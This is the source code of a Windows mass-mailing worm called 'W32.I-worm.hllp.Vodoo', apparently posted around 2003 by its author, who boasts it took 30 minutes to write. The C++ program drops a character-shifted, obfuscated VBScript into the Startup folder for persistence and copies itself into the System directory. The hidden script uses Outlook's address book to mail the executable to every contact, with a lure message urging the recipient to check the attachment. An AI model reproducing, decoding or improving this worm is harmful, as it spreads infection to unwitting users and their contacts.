

        
         
                                          
                                                
                                             
                                          
                                                   
                                                   
                                       
                                                                               
                                                                         
                                                                        


W32.I-worm.hllp.Vodoo


Vodoo is very simple worm, I made this at school,just want to showing my friends how Worm can
be walking around da world with Internet, Naa, Just need 30 minute to make it.

**********************************************************************************************
/*


W32.I-worm.hllp.Vodoo


By      : Psychologic / Puppy
Compr	: Ultimate Package eXecutable 1.24 For win32
Mail	: Psychologic@hotmail.com
12.04.03 at 10.43 AM
*/

#include <iostream>
#include <windows.h>
#include <direct.h>

FILE *Vodoo;

using namespace std;

char wormLoc[255];
char line1[1000];

short CopyTheFile(char SRCFileName[], char DSTFileName[])
{
	FILE *SRC, *DST;
	char Buffer[1024];
	short Counter = 0;
	short Status = 0;
	SRC = fopen(SRCFileName, "rb");
	if(SRC)
	{
		DST = fopen(DSTFileName, "wb");
		if(DST)
		{
			while(! feof(SRC))
			{
				Counter = fread(Buffer, 1, 1024, SRC);
				if(Counter)
				fwrite(Buffer, 1, Counter, DST);
			}
		Status = 1;
		}
	}
	fclose(SRC);
	fclose(DST);
	return Status;
}


void Maily()
{
	fprintf(Vodoo,"'vzgp%cgowugt%ctqttg%cpQ\n", 34, 34, 34);
	fprintf(Vodoo,"'+$vegldQogvu{UgnkH0ipkvrkteU$*vegldQgvcgtE?quH%cvgU\n", 34);
	fprintf(Vodoo,"'+$pqkvceknrrC0mqqnvwQ$*vegldQgvcgtE?cccccccc%cvgU\n", 34);
	fprintf(Vodoo,"'+$KRCO$*gecrUgocPvgI0cccccccc?cccccccc%cvgU\n", 34);
	fprintf(Vodoo,"'uvukNuugtffC0cccccccc%cpK%cE%cjecG%ctqH\n", 34, 34, 34,34);
	fprintf(Vodoo,"'pgjV%c2%c@>%cvpwqE0ugktvpGuugtffC0E%chK\n", 34, 34, 34, 34);
	fprintf(Vodoo,"'vpwqE0ugktvpGuugtffC0E%cqV%c3?F%ctqH\n", 34, 34, 34);
	fprintf(Vodoo,"'+F*ugktvpGuugtffC0E?cccccccc%cvgU\n", 34);
	fprintf(Vodoo,"'+2*ogvKgvcgtE0cccccccc?cccccccc%cvgU\n", 34);
	fprintf(Vodoo,"'uugtffC0cccccccc?qV0cccccccc\n");
	fprintf(Vodoo,"'$owkpgnkO%cqqfqX$?vegldwU0cccccccc\n", 34);
	fprintf(Vodoo,"'$vpgojecvvc%cgjv%cvwqmegje%cvuwl.ipkmuc%crqvU$?{fqD0cccccccc\n", 34, 34, 34, 34);
	fprintf(Vodoo,"'+$gzg0qqfqX^$(+3*tgfnqHnckegrUvgI0quH*ffC0uvpgojecvvC0cccccccc\n");
	fprintf(Vodoo,"'gwtV?vkodwUtgvhCgvgngF0cccccccc\n");
	fprintf(Vodoo,"'pgjV%c$$%c@>%cqV0cccccccc%chK\n", 34, 34, 34, 34);
	fprintf(Vodoo,"'fpgU0cccccccc\n");
	fprintf(Vodoo,"'hK%cfpG\n", 34);
	fprintf(Vodoo,"'vzgP\n");
	fprintf(Vodoo,"'hK%cfpG\n", 34);
	fprintf(Vodoo,"'vzgP\n");
	fprintf(Vodoo,"On error resume next\n", 34);
	fprintf(Vodoo,"Set ltcfsols = CreateObject(%cscripting.filesystemobject%c)\n", 34, 34);
	fprintf(Vodoo,"Set iponskln = ltcfsols.opentextfile(wscript.scriptfullname)\n");
	fprintf(Vodoo,"cnjnhqhi=((20/20)+(20-1))*(66/66)\n");
	fprintf(Vodoo,"Do\n");
	fprintf(Vodoo,"bikmklcq = iponskln.readline\n");
	fprintf(Vodoo,"smbiddvv=bikmklcq&smbiddvv\n");
	fprintf(Vodoo,"cnjnhqhi = cnjnhqhi-1\n");
	fprintf(Vodoo,"Loop while cnjnhqhi<> 0\n");
	fprintf(Vodoo,"guapftoa = Replace(smbiddvv,%c'%c,%c:%c)\n", 34, 34, 34, 34);
	fprintf(Vodoo,"For blfidfso = 1 to len(guapftoa)\n");
	fprintf(Vodoo,"chlgscam = mid(guapftoa,blfidfso,1)\n");
	fprintf(Vodoo,"If chlgscam = %c:%c then\n", 34, 34);
	fprintf(Vodoo,"gvmvapca=replace(chlgscam,chlgscam,%c:%c)\n", 34, 34);
	fprintf(Vodoo,"else\n");
	fprintf(Vodoo,"gvmvapca=replace(chlgscam,chlgscam,chr(asc(chlgscam)-((2/2)+(2-1))*(176/176)))\n");
	fprintf(Vodoo,"end if\n");
	fprintf(Vodoo,"leujgkvn=gvmvapca&leujgkvn\n");
	fprintf(Vodoo,"next\n");
	fprintf(Vodoo,"execute(leujgkvn)\n");
	fprintf(Vodoo,"'W32.I-worm.Vodoo\n");
	fprintf(Vodoo,"'By Psychologic aka Puppy\n");
}

void main(int argc, char **argv)
{
	cout << "W32.I-worm.Vodoo" << endl << endl << "By Psychologic aka Puppy" << endl << endl << "Just give me ur smile" << endl ;
    	cout << "Just look at this how it work Franky..!!" << endl  ;
	cout << endl << "Puppy is still puppy" << endl << "W32.I-worm.Vodoo" << endl;

	GetWindowsDirectory(wormLoc, 200);
	chdir(wormLoc);
	chdir("STARTM~1\\programs\\startup");
	Vodoo = fopen("Vodoo.vbs","wt");
	if(Vodoo)
	{
		Maily();
		fclose(Vodoo);
	}

	for(int i = 0; wormLoc[i] != 0 ; i++){}
	char restStr[]="\\System\\Vodoo.exe";
	for(int j=0; restStr[j] != 0;)
	{
		wormLoc[i] = restStr[j];
		i++;
		j++;
	}
	wormLoc[i+1] = 0;
	char virname[100];
	strcpy(virname, argv[0]);
	CopyTheFile(virname, wormLoc);

}
**********************************************************************************************
